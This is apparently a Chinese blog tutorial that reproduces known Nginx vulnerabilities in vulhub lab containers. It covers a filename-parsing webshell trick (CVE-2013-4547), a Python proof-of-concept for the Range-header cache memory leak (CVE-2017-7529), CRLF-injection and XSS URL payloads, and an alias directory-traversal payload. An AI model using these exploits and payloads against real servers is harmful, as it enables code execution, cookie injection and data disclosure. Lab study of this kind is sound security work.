欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

重现Nginx中间件的漏洞实例

最编程 2024-07-24 08:04:12
...

nginx中间件漏洞复现

nginx介绍

Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务。Nginx是由伊戈尔·赛索耶夫为俄罗斯访问量第二的Rambler.ru站点(俄文:Рамблер)开发的,第一个公开版本0.1.0发布于2004年10月4日。
其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、简单的配置文件和低系统资源的消耗而闻名。2011年6月1日,nginx 1.0.4发布。
Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行。其特点是占有内存少,并发能力强。
本文内容主要对nginx曾经爆出来的漏洞做漏洞复现

Nginx 文件名逻辑漏洞(CVE-2013-4547)

漏洞描述

这个漏洞其实和代码执行没有太大的关系,主要原因是错误地解析了请求的URL,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。这是一个nginx解析漏洞。

漏洞影响版本

Nginx 0.8.41~1.4.3
Nginx 1.5.0~1.5.7

漏洞原理

正常情况下(关闭pathinfo的情况下),只有.php后缀的文件才会被发送给fastcgi解析。而存在CVE-2013-4547的情况下,我们请求1.gif[0x20][0x00].php ,这个URI可以匹配上正则 .php$,可以进入这个Location块;但进入后,由于fastcgi在查找文件时被\0截断,Nginx却错误地认为请求的文件是1.gif[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi。

环境搭建

使用vulhub上的靶场即可

docker-compose up -d

访问http://your-ip:8080出现如下页面代表环境搭建成功

漏洞复现

新建图片马

然后点击上传,使用burpsuite进行拦截,在文件名后面加上一个空格

然后点击send进行发包

可以看到上传成功,然后再访问文件上传的路径使用burpsuite进行抓包

空格的16进制编码为[0x20],然后在shell.jpg[0x20]后面再加上一个空格然后再加上.php,即访问文件名为shell[0x20][0x20].php

然后将上传文件名改为shell.jpg[0x20][0x00].php,然后点击发送


可以看到木马文件被成功解析,漏洞复现成功

Nginx越界读取缓存漏洞(CVE-2017-7529)

漏洞原理

Nginx 在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括 “文件头”+“HTTP 返回包头”+“HTTP 返回包体”。如果二次请求命中了该缓存文件,则 Nginx 会直接将该文件中的 “HTTP 返回包体” 返回给用户。

如果我的请求中包含 Range 头,Nginx 将会根据我指定的 start 和 end 位置,返回指定长度的内容。而如果我构造了两个负的位置,如 (-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于 “HTTP 返回包体” 前的 “文件头”、“HTTP 返回包头” 等内容。

漏洞影响版本

Nginx 的 0.5.6 - 1.13.2版本

环境搭建

使用vulhub上的环境即可

docker-compose up -d

访问http://your-ip:8080出现如下页面即代表环境搭建成功

POC:

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
python3 poc.py http://your-ip:8080


注意这里只能在docker靶场目录运行此poc才有效,这个漏洞也很鸡肋

Nginx 配置错误导致漏洞

CRLF注入漏洞

Nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞。
错误的配置文件示例(原本的目的是为了让http的请求跳转到https上):

location / {
    return 302 https://$host$uri;
}

Payload: http://your-ip:8080/%0a%0dSet-Cookie:%20a=1,可注入Set-Cookie头。

触发XSS漏洞
payload:http://your-ip:8080/url=%0a%0d%0a%0d%0a<meta%20charset=ISO-2022-KR><img%20src=x%20onerror%0f=alert(1)>

可以看到XSS标签被成功嵌入到了里面

目录穿越漏洞

Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。
错误的配置文件示例(原本的目的是为了让用户访问到/home/目录下的文件):

location /files {
    alias /home/;
}

Payload: http://your-ip:8081/files../ ,成功穿越到根目录:

add_header被覆盖

Nginx配置文件子块(server、location、if)中的add_header,将会覆盖父块中的add_header添加的HTTP头,造成一些安全隐患。
如下列代码,整站(父块中)添加了CSP头:

add_header Content-Security-Policy "default-src 'self'";
add_header X-Frame-Options DENY;

location = /test1 {
    rewrite ^(.*)$ /xss.html break;
}

location = /test2 {
    add_header X-Content-Type-Options nosniff;
    rewrite ^(.*)$ /xss.html break;
}

/test2的location中又添加了X-Content-Type-Options头,导致父块中的add_header全部失效:

触发XSS

Nginx 解析漏洞复现

使用vulhub上的环境

docker-compose up -d

然后访问http://your-ip/uploadfiles/nginx.png出现如下界面即代表搭建成功

在后面加上/.php

成功被解析